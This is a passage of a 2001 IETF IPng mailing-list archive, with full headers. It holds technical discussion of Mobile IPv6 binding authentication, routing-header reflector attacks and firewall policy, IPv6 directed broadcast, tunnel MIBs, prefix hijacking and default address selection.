HAO > >> which it doesn't know whether to believe and thus > >> would have to drop (or send a binding solicit, > >> etc). This bothers me quite a bit as going from > >> soft state to hard state should never be taken > >> lightly. > > > > Hmm, if there is a way to set up weak authentication state > > in an initialization, it can also be done again, even after > > expiration. However, this concerns the properties of > > weak authentication where you may not have a proof > > of identity the way of strong authentication (e.g., > > you may need to "believe" the first HAO). > > I'm afraid Mike's right here. Of course the weak authentication > can be rerun, but before it is rerun, many packets have gone > to /dev/null because the MN kept sending route optimized stuff > with HAOs, and the CN through them away because of the security > issue. Ah, let me clarify. Currently the way you describe of implementing MN is allowed because HAOs in the MIPv6 draft itself are not required to be protected. Here the question is what if we _did_ have the fix of always protecting the HAO, and with weak authentication. I was thinking the other way to implement MN, to send a CN BU in good time before lifetime expires (soft timeout before hard one), even without receiving a BR. Once actual lifetime of BU in BUL is expired (hard timeout), MN knows it needs to re-start. Hence it also can know not to send those HAOs. I am not sure how hard state this is, the credentials would expire by hard timeout after communication is terminated. For robustness, there is BR, losing a BU would not break it since CN would send BR before hard timeout in CN side. True, this would require using BU when using HAO (if a chosen weak authentication uses BU for its operation). But, having seen something like this (timeout behavior) in action, why not use it? > Jari BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:00:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAI0ovU011746 for ; Mon, 10 Dec 2001 10:00:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAI0nFT011745 for ipng-dist; Mon, 10 Dec 2001 10:00:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAI0kvU011738 for ; Mon, 10 Dec 2001 10:00:46 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA01693 for ; Mon, 10 Dec 2001 10:00:49 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA28573 for ; Mon, 10 Dec 2001 11:00:48 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA23363 for ; Mon, 10 Dec 2001 10:00:48 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBAI0lM28522 for ; Mon, 10 Dec 2001 10:00:47 -0800 X-mProtect: Mon, 10 Dec 2001 10:00:47 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdRYA04V; Mon, 10 Dec 2001 10:00:45 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id KAA33006 for ; Mon, 10 Dec 2001 10:00:46 -0800 (PST) Message-ID: <3C14F84D.908FB1DB@iprg.nokia.com> Date: Mon, 10 Dec 2001 10:00:45 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > On Sun, 9 Dec 2001, Jari T. Malinen wrote: > > I have some doubt on this being better. How I would understand this issue > > to apply is when a firewall e.g. would like to enforce: don't let source > > routed packets through but only packets with both addresses in the same > > end-host. > > > > Though the firewall can't know CoA-HAddr associations, it might not > > want to enforce these packets only to concern MNs. The same reflector > > attacks could also be done using non-MN hosts. When enforcing the above > > example firewall policy, maybe it could be less change-requiring to > > recommend the host-check rule also for non-MN's (CNs). Then, a firewall > > would allow only rthdrs with segments left 1 through. If reflector scenarios > > need to be avoided in the domain, end nodes need to enforce this. This because > > also tunneling to an end host can be made to reflect the inner packet to > > another host. Hence, a format change in a protocol may not be what is > > needed to address this issue, a rule in one form or another in the > > end hosts might be needed anyway. Inventing a new format could make the > > rule look implicit, though it needs to be enforced anyway in an > > implementation. > > > > Comparing to having a new message format, all hosts using it would > > anyway need to implement the new format. The host rule for rthdr would > > have the same scope of implementation change but with existing protocol > > messages, and the change would only be an added check in implementation > > of existing protocols, without protocol specification. Does this address > > the issue? > > The problem here is that a random CN host does *not* *have to* enable > routing header processing at all -- and is therefore not affected. With > current mechanisms, a random CN does not have a need for implementing > "interface-local" routing headers, but it could be done nonetheless. True, CN does not need to support interface-local routing headers. However, when CN supports routing headers, there is currently no distinction whether they are interface local or not. But as you say, when no routing header support is there, there is no problem. > On the other hand, MN *must* enable routing header processing. As > currently specified, this opens the host to the attacks specified in my > draft. The has to be some control on what routing headers to accept, more > fine-grained than on/off. To clarify, with host-check rule I was refering to the condition you describe below, not just turning routing header processing on/off in MNs. > Another possible heuristic for accepting routing header could be: > > if segments left == 1 > if the address to be swapped is a home address > accept routing header > fi > else if routing header processing is enabled > accept > else > reject > fi > > This would be more MIPv6-centric and possibly easier to implement. I > don't know if there is need for "generic" use of interface-local routing > headers outside of MIPv6 context at the moment. Agreed. > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:20:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIKhvU012181 for ; Mon, 10 Dec 2001 10:20:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAIKhWl012180 for ipng-dist; Mon, 10 Dec 2001 10:20:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIKfvU012173 for ; Mon, 10 Dec 2001 10:20:41 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBAIKKNE016910 for ; Mon, 10 Dec 2001 10:20:20 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBAIKKlb016909 for ipng@sunroof.eng.sun.com; Mon, 10 Dec 2001 10:20:20 -0800 (PST) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB7KHWvU001753 for ; Fri, 7 Dec 2001 12:17:32 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA19722 for ; Fri, 7 Dec 2001 12:17:31 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA22764 for ; Fri, 7 Dec 2001 12:17:31 -0800 (PST) Received: from mira-sjcd-1.cisco.com (mira-sjcd-1.cisco.com [171.69.43.44]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fB7KHP917507 for ; Fri, 7 Dec 2001 12:17:30 -0800 (PST) Received: from cisco.com (dhcp-10-34-25-57.cisco.com [10.34.25.57]) by mira-sjcd-1.cisco.com (Mirapoint) with ESMTP id AAN80947; Fri, 7 Dec 2001 12:17:31 -0800 (PST) Message-ID: <3C1123F4.26371FBF@cisco.com> Date: Fri, 07 Dec 2001 12:17:57 -0800 From: Sreeram Vankadari X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Directed broadcast in IPv6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, In IPv4 we use directed broadcast address to send packets to all the nodes of a remote network. Since there are no broadcast addresses in IPv6, how is ths problem solved in IPv6(reaching all nodes of remote network) As far as I know the only address that can be used to reach all the nodes of a link is FF02::1, but this cann't be used by the remote router as the scope of this address is just the link. Sreeram -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:21:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAILRvU012216 for ; Mon, 10 Dec 2001 10:21:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAILRJv012215 for ipng-dist; Mon, 10 Dec 2001 10:21:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAILQvU012208 for ; Mon, 10 Dec 2001 10:21:26 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBAIL4NE016940 for ; Mon, 10 Dec 2001 10:21:04 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBAIL4Ec016939 for ipng@sunroof.eng.sun.com; Mon, 10 Dec 2001 10:21:04 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB80lDvU003358 for ; Fri, 7 Dec 2001 16:47:13 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19705 for ; Fri, 7 Dec 2001 16:47:14 -0800 (PST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA17193 for ; Fri, 7 Dec 2001 17:47:49 -0700 (MST) Received: from cisco.com (sj-dial-1-69.cisco.com [171.68.179.70]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with ESMTP id QAA21684; Fri, 7 Dec 2001 16:46:38 -0800 (PST) Message-ID: <3C116290.77DE4EFA@cisco.com> Date: Fri, 07 Dec 2001 16:45:04 -0800 From: "W. Mark Townsley" X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Daniel Feldman CC: l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: Re: [L2tpext] IP Tunnel MIB References: <88BC9E379956AE4DB689CC5FF6F5A43D15C876@exchange.Ic4ic.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Daniel Feldman wrote: > > Dear IPNG and L2TP groups, > RFC 2667 deals with IP Tunnel MIB, which is needed for the L2TP > MIB. However, it only supports IPv4: > > "Finally, this MIB does not support tunnels over non-IPv4 networks > (including IPv6 networks). Management of such tunnels may be supported > by other MIBs." > > Is there any work on such an MIB? Not that I know of. > It is required for having L2TP > over IPv6... I pinged the list back in March about L2TP over IPv6 and received nothing but deafening silence. I would hope that any changes in the MIB to support L2TP over IPv6 would be very, very, minimal. > > Thanks in advance, > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Daniel Feldman > System Engineer, IC4IC Ltd. > office: +972(4)959-4644 ext. 121 > mobile: +972(55)990-299 > fax: +972(4)959-4944 > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > > _______________________________________________ > L2tpext mailing list > L2tpext@ietf.org > https://www1.ietf.org/mailman/listinfo/l2tpext -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:22:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIMsvU012250 for ; Mon, 10 Dec 2001 10:22:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAIMsSU012249 for ipng-dist; Mon, 10 Dec 2001 10:22:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIMrvU012242 for ; Mon, 10 Dec 2001 10:22:53 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBAIMVNE016970 for ; Mon, 10 Dec 2001 10:22:31 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBAIMVXK016969 for ipng@sunroof.eng.sun.com; Mon, 10 Dec 2001 10:22:31 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9ATgvU007191 for ; Sun, 9 Dec 2001 02:29:43 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA23996 for ; Sun, 9 Dec 2001 02:29:36 -0800 (PST) Received: from machine.sinus.cz (pasky.ji.cz [62.44.12.54]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id DAA13718 for ; Sun, 9 Dec 2001 03:29:34 -0700 (MST) Received: (qmail 6130 invoked by uid 2001); 9 Dec 2001 10:29:29 -0000 Date: Sun, 9 Dec 2001 11:29:29 +0100 From: Petr Baudis To: Michel Py Cc: Jan Oravec , 6bone@ISI.EDU, ipng@sunroof.eng.sun.com Subject: Re: Hijacking of prefixes - IPv4 class E (was: Announcing 2003::/16 during tests of "shipworm") Message-ID: <20011209102929.GA3645@pasky.ji.cz> Mail-Followup-To: Michel Py , Jan Oravec , 6bone@ISI.EDU, ipng@sunroof.eng.sun.com References: <2B81403386729140A3A899A8B39B046403AF81@server2000.arneill-py.sacramento.ca.us> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <2B81403386729140A3A899A8B39B046403AF81@server2000.arneill-py.sacramento.ca.us> User-Agent: Mutt/1.3.23.2i Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dear diary, on Sun, Dec 09, 2001 at 05:20:11AM CET, I got a letter, where Michel Py told me, that... > From: Jan Oravec [mailto:wsx@wsx6.net] > >> Something like that would be nice for experiments, but advertising > >> such prefixes has no effect, because the prefix can be already used > >> by someone else for another experiment. > > There is a finite number of people that need to advertise a /16 on the > IPv6 DFZ at the same time for the sole purpose of experimenting a new > protocol. If they want to experiment with it, why they need to use multiple AS? > >> That implies that such experiments cannot be global experiments. > > Wrong. Nope, right. How will you coordinate such people so that two won't choose same prefix and advertise it? > >> The only one way is to make some authority for time limited > >> prefix delegations > > Absolutely, and there needs to be no authority for that. See above. > >> <- ugly solution. > > Why? Because it will create mess as well. You can't expect that after given time everyone will move on, stop advertising, start filtering etc. It will create inconsistences. > >> Anyway, does anyone need to do global experiments ? > > This is not even debatable. Not everyone needs global experiments, but > some people do. In the case that prompted all that turmoil > (shipworm/microsoft), there is no doubt that whoever develops such a > protocol will one day or another need to advertise a /16. See first comment. > Hijacking is bad, but regulated hijacking could have some use, > especially if it does not break anything. It can break another hijacking ;). Now how do you want to regulate it, if there needs to be no authority for that? -- Petr "Pasky" Baudis UN*X programmer, UN*X administrator, hobbies = IPv6, IRC, FreeCiv hacking -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:23:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAINcvU012279 for ; Mon, 10 Dec 2001 10:23:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAINcYj012278 for ipng-dist; Mon, 10 Dec 2001 10:23:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAINavU012271 for ; Mon, 10 Dec 2001 10:23:36 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBAINFNE017000 for ; Mon, 10 Dec 2001 10:23:15 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBAINF2p016999 for ipng@sunroof.eng.sun.com; Mon, 10 Dec 2001 10:23:15 -0800 (PST) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA1bSvU008959 for ; Sun, 9 Dec 2001 17:37:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA26437 for ; Sun, 9 Dec 2001 17:37:30 -0800 (PST) Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA19108 for ; Sun, 9 Dec 2001 18:38:04 -0700 (MST) Received: from 209-239-195-242.oak.jps.net ([209.239.195.242] helo=Volpar.com) by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1) id 16DFMj-0000Lr-00; Sun, 09 Dec 2001 20:36:22 -0500 Message-ID: <3C140B99.C8DEA962@Volpar.com> Date: Sun, 09 Dec 2001 17:10:49 -0800 From: Dianna Adair Reply-To: Volpar@volpar.com Organization: Volpar Inc X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: JINMEI@volpar.com, Tatuya@volpar.com, /@volpar.com, "$B?\"@L@C#:Hs_ss_name=TH VALIGN=BASELINE\"$B?\"@L@C#:H"@mindspring.com CC: Robert Elz , ipng@sunroof.eng.sun.com Subject: Re: "Default Address Selection for IPv6" References: <5.1.0.14.0.20011206220240.01d60170@jurassic.eng.sun.com> <3575.1007719937@brandenburg.cs.mu.OZ.AU> Content-Type: multipart/mixed; boundary="------------2FBCACCFE9EA0608F186B446" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. --------------2FBCACCFE9EA0608F186B446 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Any thoughts about the >64 address or a "variable length" longer address as regards this point? JINMEI Tatuya / $B?@L@C#:H(B wrote: > >>>>> On Fri, 07 Dec 2001 17:12:17 +0700, > >>>>> Robert Elz said: > > > | is in my opinion more suitable than sorting interfaces on the particular > > | brand of NIC card they are using. > > > There's certainly nothing to commend using the MAC addresses, other than > > that they simplify the algorithm (no special cases), and most particularly > > avoid building in any knowledge of 64 in places where it does not belong. > > > If you can specify this such that it actually uses the currently configured > > prefix lengths (no mention of the number 64 anywhere) and actually find a > > way to make the outcome predictable, then I'd be more inclined to accept it > > as a reasonable change. Otherwise not. > > I agree with kre as for hardcoding 64; it's better to use the > configured prefix length (which may or may not be equal to 64). > > However, I'd rather think longest matching is meaningless in the > destination address ordering, especially with this generalization. > For example consider the following configuration: > > A host has two prefix P::/32 and Q::/64 (P:: != Q::), both of which > can be used to autoconfigure addresses and are regarded as on-link. > The host thus configures P::a and Q::b as its addresses accordingly. > Then the host tries to send a packet to a remote node, and the host > name resolves to P::c and Q'::d, where Q' matches Q:: in 48 bits. > Then the longest matching rule will choose the set of (src=Q::b, > dst=Q'::d). But this may not be the best combination, because the > source and the destination is not on-link and may need many hops in > terms of routing, while P::a and P::c is on-link and can be accessed > within the same single link. > > I know this is quite an artificial example, but I still think the > longest matching in the destination address ordering does not buy much. > > For the source address selection, however, the longest matching is > sometimes useful, because for a given destination address we can > choose a source address in the same ISPs prefix block, which may have > advantage wrt the routing. > > BTW, as for the deterministic behavior, the longest matching still > cannot be the final tie-breaker, as described in the addr-select > draft. If we need full deterministic algorithm, we'll need another > (almost meaningless) rule like "choose a smaller address" which I > recall someone mentioned before in this list. > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------2FBCACCFE9EA0608F186B446 Content-Type: text/x-vcard; charset=us-ascii; name="Volpar.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Dianna Adair Content-Disposition: attachment; filename="Volpar.vcf" begin:vcard n:Adair;Dianna tel;fax:408-986-8482 tel;work:408-986-8689 / 800-845-2323 x-mozilla-html:FALSE org:Volpar Inc adr:;;941 Laurelwood Rd ;Santa Clara ;CA;95054; version:2.1 email;internet:Volpar@Volpar.com x-mozilla-cpt:;-1 end:vcard --------------2FBCACCFE9EA0608F186B446-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:34:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIYgvU012393 for ; Mon, 10 Dec 2001 10:34:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAIYfOv012392 for ipng-dist; Mon, 10 Dec 2001 10:34:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAIYcvU012382 for ; Mon, 10 Dec 2001 10:34:38 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA09849 for ; Mon, 10 Dec 2001 10:34:41 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA26017 for ; Mon, 10 Dec 2001 10:34:40 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA25607 for ; Mon, 10 Dec 2001 10:34:40 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBAIYeq09378 for ; Mon, 10 Dec 2001 10:34:40 -0800 X-mProtect: Mon, 10 Dec 2001 10:34:40 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdcTtSLi; Mon, 10 Dec 2001 10:34:38 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id KAA33031 for ; Mon, 10 Dec 2001 10:34:38 -0800 (PST) Message-ID: <3C15003E.D2AC98CF@iprg.nokia.com> Date: Mon, 10 Dec 2001 10:34:38 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 CC: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik, Let us compare a bit the cases to get more understanding.. I see your point, though would also like to clarify the alternative I was explaining. I was in search of an alternative with minimum change requirement. These are design choices affecting many places so they are worth discussing a bit.. We are here talking of a domain that - does not allow source routing in general, but - allows 1-address source routing if the addresses are in the same node. > > Though the firewall can't know CoA-HAddr associations, it might not > > want to enforce these packets only to concern MNs. The same reflector > > attacks could also be done using non-MN hosts. When enforcing the above > > example firewall policy, maybe it could be less change-requiring to > > recommend the host-check rule also for non-MN's (CNs). Then, a firewall > > would allow only rthdrs with segments left 1 through. > > My point is that segments left = 1 routing headers can be still used > to hop between two separate nodes. The firewall can't tell the difference > unless it knows all the CoA-HoA relationships for the MNs inside it. My point was that even though firewall would not know, if we have enforcement of the "host-check" rule [cf. Pekka's mail for its decoding], in all nodes _receiving_ the routing header, this would be a distributed way of enforcing the conditions we discuss. > > If reflector scenarios > > need to be avoided in the domain, end nodes need to enforce this. > > But the segments left = 1 routing header could list internal routers > and not end nodes. So just checking on all end hosts inside the firewall > isn't sufficient to prevent any use general use of routing headers. This merits a clarification, partially due to 2460's terminology that has caused some confusion earlier. A firewall who forwards a routing header does not receive it, but merely checks for its existence in the packet. A forwarding source router would be any node that receives the packet, processes the routing header, and forwards it ahead according to the routing header. In the distributed approach I was describing, we would need the "host rule" to be something to enable or disable in forwarding source routers, too. In case source routing would be disabled for the domain, they too would disable this. > > This > > because also tunneling to an end host can be made to reflect the inner > > packet to another host. Hence, a format change in a protocol may not be what > > is needed to address this issue, a rule in one form or another in the > > end hosts might be needed anyway. Inventing a new format could make the > > rule look implicit, though it needs to be enforced anyway in an > > implementation. > > My point is that the current format is an overloading which makes it > impossible for a firewall to tell the difference between two different > uses of the routing header. I agree, and if the condition we discuss would be enforced locally in a firewall, it would need to know this from the message. > As Pekka's draft points out this could lack of distinction could > be addressed by defining a new type of routing header which is > limited to "forwarding" on the same node. True. This is another way, which is a "cheaper" way than a totally new extension header to have the control localized to the firewall. > > Comparing to having a new message format, all hosts using it would > > anyway need to implement the new format. The host rule for rthdr would > > have the same scope of implementation change but with existing protocol > > messages, and the change would only be an added check in implementation > > of existing protocols, without protocol specification. Does this address > > the issue? > > No. So to get more clarity, is the localization (to the firewall) of controlling the use of routing header something that you find necessary? If so, would the use of "type 1" routing header in MIPv6 draft address the issue? > Erik BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 10:35:09 2001 Received: from 